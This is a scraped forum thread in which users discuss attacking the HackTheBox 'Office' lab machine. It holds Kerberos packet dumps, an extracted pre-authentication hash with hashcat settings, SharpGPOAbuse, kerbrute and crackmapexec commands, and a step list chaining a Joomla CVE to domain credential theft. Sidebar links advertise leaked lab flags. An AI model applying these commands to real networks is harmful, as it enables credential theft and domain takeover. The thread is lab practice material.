Possibly Related Threads…

joker0x20 · 02-21-2024, 03:58 PM

pcap part

tshark -Y "kerberos" -V -r Latest-System-Dump-8fbc124d.pcap
Running as user "root" and group "root". This could be dangerous.
Frame 1908: 245 bytes on wire (1960 bits), 245 bytes captured (1960 bits) on interface unknown, id 0
    Section number: 1
    Interface id: 0 (unknown)
        Interface name: unknown
    Encapsulation type: Ethernet (1)
    Arrival Time: May  8, 2023 03:57:21.288481000 EEST
    UTC Arrival Time: May  8, 2023 00:57:21.288481000 UTC
    Epoch Arrival Time: 1683507441.288481000
    [Time shift for this packet: 0.000000000 seconds]
    [Time delta from previous captured frame: 0.000000000 seconds]
    [Time delta from previous displayed frame: 0.000000000 seconds]
    [Time since reference or first frame: 7.682483000 seconds]
    Frame Number: 1908
    Frame Length: 245 bytes (1960 bits)
    Capture Length: 245 bytes (1960 bits)
    [Frame is marked: False]
    [Frame is ignored: False]
    [Protocols in frame: eth:ethertype:ip:tcp:kerberos]
Ethernet II, Src: PCSSystemtec_a4:08:70 (08:00:27:a4:08:70), Dst: PCSSystemtec_34:d8:9e (08:00:27:34:d8:9e)
    Destination: PCSSystemtec_34:d8:9e (08:00:27:34:d8:9e)
        Address: PCSSystemtec_34:d8:9e (08:00:27:34:d8:9e)
        .... ..0. .... .... .... .... = LG bit: Globally unique address (factory default)
        .... ...0 .... .... .... .... = IG bit: Individual address (unicast)
    Source: PCSSystemtec_a4:08:70 (08:00:27:a4:08:70)
        Address: PCSSystemtec_a4:08:70 (08:00:27:a4:08:70)
        .... ..0. .... .... .... .... = LG bit: Globally unique address (factory default)
        .... ...0 .... .... .... .... = IG bit: Individual address (unicast)
    Type: IPv4 (0x0800)
Internet Protocol Version 4, Src: 10.250.0.41, Dst: 10.250.0.30
    0100 .... = Version: 4
    .... 0101 = Header Length: 20 bytes (5)
    Differentiated Services Field: 0x00 (DSCP: CS0, ECN: Not-ECT)
        0000 00.. = Differentiated Services Codepoint: Default (0)
        .... ..00 = Explicit Congestion Notification: Not ECN-Capable Transport (0)
    Total Length: 231
    Identification: 0xd447 (54343)
    010. .... = Flags: 0x2, Don't fragment
        0... .... = Reserved bit: Not set
        .1.. .... = Don't fragment: Set
        ..0. .... = More fragments: Not set
    ...0 0000 0000 0000 = Fragment Offset: 0
    Time to Live: 64
    Protocol: TCP (6)
    Header Checksum: 0x4f8f [validation disabled]
    [Header checksum status: Unverified]
    Source Address: 10.250.0.41
    Destination Address: 10.250.0.30
Transmission Control Protocol, Src Port: 33544, Dst Port: 88, Seq: 1, Ack: 1, Len: 179
    Source Port: 33544
    Destination Port: 88
    [Stream index: 22]
    [Conversation completeness: Incomplete, ESTABLISHED (7)]
        ..0. .... = RST: Absent
        ...0 .... = FIN: Absent
        .... 0... = Data: Absent
        .... .1.. = ACK: Present
        .... ..1. = SYN-ACK: Present
        .... ...1 = SYN: Present
        [Completeness Flags: ???ASS]
    [TCP Segment Len: 179]
    Sequence Number: 1    (relative sequence number)
    Sequence Number (raw): 3045032524
    [Next Sequence Number: 180    (relative sequence number)]
    Acknowledgment Number: 1    (relative ack number)
    Acknowledgment number (raw): 2912712637
    1000 .... = Header Length: 32 bytes (8)
    Flags: 0x018 (PSH, ACK)
        000. .... .... = Reserved: Not set
        ...0 .... .... = Accurate ECN: Not set
        .... 0... .... = Congestion Window Reduced: Not set
        .... .0.. .... = ECN-Echo: Not set
        .... ..0. .... = Urgent: Not set
        .... ...1 .... = Acknowledgment: Set
        .... .... 1... = Push: Set
        .... .... .0.. = Reset: Not set
        .... .... ..0. = Syn: Not set
        .... .... ...0 = Fin: Not set
        [TCP Flags: ???????AP???]
    Window: 502
    [Calculated window size: 64256]
    [Window size scaling factor: 128]
    Checksum: 0x53ef [unverified]
    [Checksum Status: Unverified]
    Urgent Pointer: 0
    Options: (12 bytes), No-Operation (NOP), No-Operation (NOP), Timestamps
        TCP Option - No-Operation (NOP)
            Kind: No-Operation (1)
        TCP Option - No-Operation (NOP)
            Kind: No-Operation (1)
        TCP Option - Timestamps
            Kind: Time Stamp Option (8)
            Length: 10
            Timestamp value: 2838742771: TSval 2838742771, TSecr 3650470
            Timestamp echo reply: 3650470
    [Timestamps]
        [Time since first frame in this TCP stream: 0.000106000 seconds]
        [Time since previous frame in this TCP stream: 0.000000000 seconds]
    [SEQ/ACK analysis]
        [iRTT: 0.000106000 seconds]
        [Bytes in flight: 179]
        [Bytes sent since last PSH flag: 179]
    TCP payload (179 bytes)
    [PDU Size: 179]
Kerberos
    Record Mark: 175 bytes
        0... .... .... .... .... .... .... .... = Reserved: Not set
        .000 0000 0000 0000 0000 0000 1010 1111 = Record Length: 175
    as-req
        pvno: 5
        msg-type: krb-as-req (10)
        padata: 1 item
            PA-DATA pA-PAC-REQUEST
                padata-type: pA-PAC-REQUEST (128)
                    padata-value: 3005a0030101ff
                        include-pac: True
        req-body
            Padding: 0
            kdc-options: 50800000
                0... .... = reserved: False
                .1.. .... = forwardable: True
                ..0. .... = forwarded: False
                ...1 .... = proxiable: True
                .... 0... = proxy: False
                .... .0.. = allow-postdate: False
                .... ..0. = postdated: False
                .... ...0 = unused7: False
                1... .... = renewable: True
                .0.. .... = unused9: False
                ..0. .... = unused10: False
                ...0 .... = opt-hardware-auth: False
                .... 0... = unused12: False
                .... .0.. = unused13: False
                .... ..0. = constrained-delegation: False
                .... ...0 = canonicalize: False
                0... .... = request-anonymous: False
                .0.. .... = unused17: False
                ..0. .... = unused18: False
                ...0 .... = unused19: False
                .... 0... = unused20: False
                .... .0.. = unused21: False
                .... ..0. = unused22: False
                .... ...0 = unused23: False
                0... .... = unused24: False
                .0.. .... = unused25: False
                ..0. .... = disable-transited-check: False
                ...0 .... = renewable-ok: False
                .... 0... = enc-tkt-in-skey: False
                .... .0.. = unused29: False
                .... ..0. = renew: False
                .... ...0 = validate: False
            cname
                name-type: kRB5-NT-PRINCIPAL (1)
                cname-string: 1 item
                    CNameString: tstark
            realm: OFFICE.HTB
            sname
                name-type: kRB5-NT-PRINCIPAL (1)
                sname-string: 2 items
                    SNameString: krbtgt
                    SNameString: OFFICE.HTB
            till: May  9, 2023 03:57:21.000000000 EEST
            rtime: May  9, 2023 03:57:21.000000000 EEST
            nonce: 1794962664
            etype: 1 item
                ENCTYPE: eTYPE-AES256-CTS-HMAC-SHA1-96 (18)

Frame 1917: 323 bytes on wire (2584 bits), 323 bytes captured (2584 bits) on interface unknown, id 0
    Section number: 1
    Interface id: 0 (unknown)
        Interface name: unknown
    Encapsulation type: Ethernet (1)
    Arrival Time: May  8, 2023 03:57:21.409088000 EEST
    UTC Arrival Time: May  8, 2023 00:57:21.409088000 UTC
    Epoch Arrival Time: 1683507441.409088000
    [Time shift for this packet: 0.000000000 seconds]
    [Time delta from previous captured frame: 0.000000000 seconds]
    [Time delta from previous displayed frame: 0.120607000 seconds]
    [Time since reference or first frame: 7.803090000 seconds]
    Frame Number: 1917
    Frame Length: 323 bytes (2584 bits)
    Capture Length: 323 bytes (2584 bits)
    [Frame is marked: False]
    [Frame is ignored: False]
    [Protocols in frame: eth:ethertype:ip:tcp:kerberos]
Ethernet II, Src: PCSSystemtec_a4:08:70 (08:00:27:a4:08:70), Dst: PCSSystemtec_34:d8:9e (08:00:27:34:d8:9e)
    Destination: PCSSystemtec_34:d8:9e (08:00:27:34:d8:9e)
        Address: PCSSystemtec_34:d8:9e (08:00:27:34:d8:9e)
        .... ..0. .... .... .... .... = LG bit: Globally unique address (factory default)
        .... ...0 .... .... .... .... = IG bit: Individual address (unicast)
    Source: PCSSystemtec_a4:08:70 (08:00:27:a4:08:70)
        Address: PCSSystemtec_a4:08:70 (08:00:27:a4:08:70)
        .... ..0. .... .... .... .... = LG bit: Globally unique address (factory default)
        .... ...0 .... .... .... .... = IG bit: Individual address (unicast)
    Type: IPv4 (0x0800)
Internet Protocol Version 4, Src: 10.250.0.41, Dst: 10.250.0.30
    0100 .... = Version: 4
    .... 0101 = Header Length: 20 bytes (5)
    Differentiated Services Field: 0x00 (DSCP: CS0, ECN: Not-ECT)
        0000 00.. = Differentiated Services Codepoint: Default (0)
        .... ..00 = Explicit Congestion Notification: Not ECN-Capable Transport (0)
    Total Length: 309
    Identification: 0x6fd1 (28625)
    010. .... = Flags: 0x2, Don't fragment
        0... .... = Reserved bit: Not set
        .1.. .... = Don't fragment: Set
        ..0. .... = More fragments: Not set
    ...0 0000 0000 0000 = Fragment Offset: 0
    Time to Live: 64
    Protocol: TCP (6)
    Header Checksum: 0xb3b7 [validation disabled]
    [Header checksum status: Unverified]
    Source Address: 10.250.0.41
    Destination Address: 10.250.0.30
Transmission Control Protocol, Src Port: 33550, Dst Port: 88, Seq: 1, Ack: 1, Len: 257
    Source Port: 33550
    Destination Port: 88
    [Stream index: 23]
    [Conversation completeness: Incomplete, ESTABLISHED (7)]
        ..0. .... = RST: Absent
        ...0 .... = FIN: Absent
        .... 0... = Data: Absent
        .... .1.. = ACK: Present
        .... ..1. = SYN-ACK: Present
        .... ...1 = SYN: Present
        [Completeness Flags: ???ASS]
    [TCP Segment Len: 257]
    Sequence Number: 1    (relative sequence number)
    Sequence Number (raw): 73981869
    [Next Sequence Number: 258    (relative sequence number)]
    Acknowledgment Number: 1    (relative ack number)
    Acknowledgment number (raw): 527117312
    1000 .... = Header Length: 32 bytes (8)
    Flags: 0x018 (PSH, ACK)
        000. .... .... = Reserved: Not set
        ...0 .... .... = Accurate ECN: Not set
        .... 0... .... = Congestion Window Reduced: Not set
        .... .0.. .... = ECN-Echo: Not set
        .... ..0. .... = Urgent: Not set
        .... ...1 .... = Acknowledgment: Set
        .... .... 1... = Push: Set
        .... .... .0.. = Reset: Not set
        .... .... ..0. = Syn: Not set
        .... .... ...0 = Fin: Not set
        [TCP Flags: ???????AP???]
    Window: 502
    [Calculated window size: 64256]
    [Window size scaling factor: 128]
    Checksum: 0x5431 [unverified]
    [Checksum Status: Unverified]
    Urgent Pointer: 0
    Options: (12 bytes), No-Operation (NOP), No-Operation (NOP), Timestamps
        TCP Option - No-Operation (NOP)
            Kind: No-Operation (1)
        TCP Option - No-Operation (NOP)
            Kind: No-Operation (1)
        TCP Option - Timestamps
            Kind: Time Stamp Option (8)
            Length: 10
            Timestamp value: 2838742891: TSval 2838742891, TSecr 3650590
            Timestamp echo reply: 3650590
    [Timestamps]
        [Time since first frame in this TCP stream: 0.000507000 seconds]
        [Time since previous frame in this TCP stream: 0.000000000 seconds]
    [SEQ/ACK analysis]
        [iRTT: 0.000507000 seconds]
        [Bytes in flight: 257]
        [Bytes sent since last PSH flag: 257]
    TCP payload (257 bytes)
    [PDU Size: 257]
Kerberos
    Record Mark: 253 bytes
        0... .... .... .... .... .... .... .... = Reserved: Not set
        .000 0000 0000 0000 0000 0000 1111 1101 = Record Length: 253
    as-req
        pvno: 5
        msg-type: krb-as-req (10)
        padata: 2 items
            PA-DATA pA-ENC-TIMESTAMP
                padata-type: pA-ENC-TIMESTAMP (2)
                    padata-value: 3041a003020112a23a0438a16f4806da05760af63c566d566f071c5bb35d0a414459417613a9d67932a6735704d0832767af226aaa7360338a34746a00a3765386f5fc
                        etype: eTYPE-AES256-CTS-HMAC-SHA1-96 (18)
                        cipher: a16f4806da05760af63c566d566f071c5bb35d0a414459417613a9d67932a6735704d0832767af226aaa7360338a34746a00a3765386f5fc
            PA-DATA pA-PAC-REQUEST
                padata-type: pA-PAC-REQUEST (128)
                    padata-value: 3005a0030101ff
                        include-pac: True
        req-body
            Padding: 0
            kdc-options: 50800000
                0... .... = reserved: False
                .1.. .... = forwardable: True
                ..0. .... = forwarded: False
                ...1 .... = proxiable: True
                .... 0... = proxy: False
                .... .0.. = allow-postdate: False
                .... ..0. = postdated: False
                .... ...0 = unused7: False
                1... .... = renewable: True
                .0.. .... = unused9: False
                ..0. .... = unused10: False
                ...0 .... = opt-hardware-auth: False
                .... 0... = unused12: False
                .... .0.. = unused13: False
                .... ..0. = constrained-delegation: False
                .... ...0 = canonicalize: False
                0... .... = request-anonymous: False
                .0.. .... = unused17: False
                ..0. .... = unused18: False
                ...0 .... = unused19: False
                .... 0... = unused20: False
                .... .0.. = unused21: False
                .... ..0. = unused22: False
                .... ...0 = unused23: False
                0... .... = unused24: False
                .0.. .... = unused25: False
                ..0. .... = disable-transited-check: False
                ...0 .... = renewable-ok: False
                .... 0... = enc-tkt-in-skey: False
                .... .0.. = unused29: False
                .... ..0. = renew: False
                .... ...0 = validate: False
            cname
                name-type: kRB5-NT-PRINCIPAL (1)
                cname-string: 1 item
                    CNameString: tstark
            realm: OFFICE.HTB
            sname
                name-type: kRB5-NT-PRINCIPAL (1)
                sname-string: 2 items
                    SNameString: krbtgt
                    SNameString: OFFICE.HTB
            till: May  9, 2023 03:57:21.000000000 EEST
            rtime: May  9, 2023 03:57:21.000000000 EEST
            nonce: 369478355
            etype: 1 item
                ENCTYPE: eTYPE-AES256-CTS-HMAC-SHA1-96 (18)

A hash is derived from above, to crack with hashcat (-m 19900)

$krb5pa$18$tstark$OFFICE.HTB$a16f4806da05760af63c566d566f071c5bb35d0a414459417613a9d67932a6735704d0832767af226aaa7360338a34746a00a3765386f5fc

weakdaw221 · 02-21-2024, 04:59 PM

let's go hehehe

randomregister · 02-21-2024, 06:11 PM

Still have no clue how you all out got the administrator's password for the joomla, just joomla-brute is not working

pyfffe · 02-21-2024, 06:31 PM

Why gpo abuse wont work?

*Evil-WinRM* PS C:\Users\HHogan\Documents> .\SharpGPOAbuse.exe --AddLocalAdmin --UserAccount 'HHogan' --GPOName "Default Domain Controllers Policy" --DomainController 'DC.office.htb' --Domain 'office.htb'
[+] Domain = office.htb
[+] Domain Controller = DC.office.htb
[+] Distinguished Name = CN=Policies,CN=System,DC=office,DC=htb
The server could not be contacted.[!] Exiting...
*Evil-WinRM* PS C:\Users\HHogan\Documents> .\SharpGPOAbuse.exe --AddLocalAdmin --UserAccount 'HHogan' --GPOName "Default Domain Controllers Policy" 
[!] Cannot enumerate domain.

gazgak001 · 02-21-2024, 06:44 PM

(02-21-2024, 06:11 PM)randomregister Wrote: Still have no clue how you all out got the administrator's password for the joomla, just joomla-brute is not working

Read, this:
https://www.exploit-db.com/exploits/51334

thing7 · 02-21-2024, 06:47 PM

(02-20-2024, 12:21 PM)fmkss Wrote: I got reverse shell tstark and trying to deal with resume.php, I put forward it and send some malicious.odt into but I don't get how I can trigger them.
Also those .odt files are deleted very quickly, I'm going is the wrong direction?

What payload did you use to get reverse shell from user? I just started this room

DerPapst · 02-21-2024, 10:58 PM

Hello Guys, maybe i am stupid right now, but i am not able to find a file upoad in the admin panel. How do you made the reverse shell? I am working on this box since hours and my brain is dead right now.
Thank you already!

formycode64 · 02-22-2024, 12:00 AM

(02-21-2024, 02:36 PM)RoyTong1988 Wrote:
(02-21-2024, 02:26 AM)formycode64 Wrote:
(02-19-2024, 05:54 AM)RoyTong1988 Wrote: I have entered the local MYSQL DB....any hins for root?

MariaDB [(none)]> show databases
-> ;
+--------------------+
| Database |
+--------------------+
| information_schema |
| joomla_db |
| mysql |
| performance_schema |
| phpmyadmin |
| test |
+--------------------+
6 rows in set (0.196 sec)

how did you get the db?

Port forward by using Chisel.exe, and access MYSQL DB locally with the creds got by CVE-2023-2255

Thanks for sharing but really didnt much help with mysql as i got the creds for hhogan from mimikatz exploiting using appdata. then straight to evil-winrm then GPOabuse for the root

UnlovelyGopher · 02-22-2024, 12:23 AM

I feel like i am going crazy. I used CVE-2023-23752 to get a username and password, but it doesn't work for the web apps admin panel. ive tried all kinds of crazy permutations for the username with the same password and it gets me nowhere.

jahman · (This post was last modified: 02-22-2024, 01:01 AM by jahman.)

(02-22-2024, 12:23 AM)UnlovelyGopher Wrote: I feel like i am going crazy. I used CVE-2023-23752 to get a username and password, but it doesn't work for the web apps admin panel. ive tried all kinds of crazy permutations for the username with the same password and it gets me nowhere.

1) get valid usernames
kerbrute userenum --dc dc.office.htb -d office.htb /opt/SecLists/Usernames/xato-net-10-million-usernames.txt

2) xploit the joomla to obtain a valid password (CVE-2023-23752)

3) Test the password and the previous usernames you've got with crackmapexec
cme smb dc.office.htb -u USERNAMES -p JOOMLA_PASSWORD

4) with the valid creds, get acces to a SMB Share and a pcap file to extract a kerberos HASH
tshark -2 -r Latest-System-Dump-8fbc124d.pcap -R "tcp.dstport==88 or udp.dstport==88" -T pdml > data.pdml

Then, enjoy, this box is a long long journey (and the hapiness is in the path Wink

Possibly Related Threads…
Thread		Author	Replies	Views	Last Post
	[FREE] 300+ Writeups PDF HackTheBox/HTB premium retired	Tamarisk	360	91,240	03-28-2026, 09:28 AM Last Post: catsweet
	[FREE] HTB-ProLabs APTLABS Just Flags	kewlsunny	23	4,616	03-28-2026, 03:30 AM Last Post: lulaladrow
	[MEGALEAK] HackTheBox ProLabs, Fortress, Endgame - Alchemy, 250 Flags, leak htb-bot	htb-bot	87	9,797	03-27-2026, 07:22 PM Last Post: stn
	HTB Eloquia User and Root Flags - Insane Box	69646B	13	2,599	03-27-2026, 06:14 PM Last Post: vlxw
	HTB - ALL Challenges you Stuck in	osamy7593	2	2,894	03-27-2026, 04:24 PM Last Post: catsweet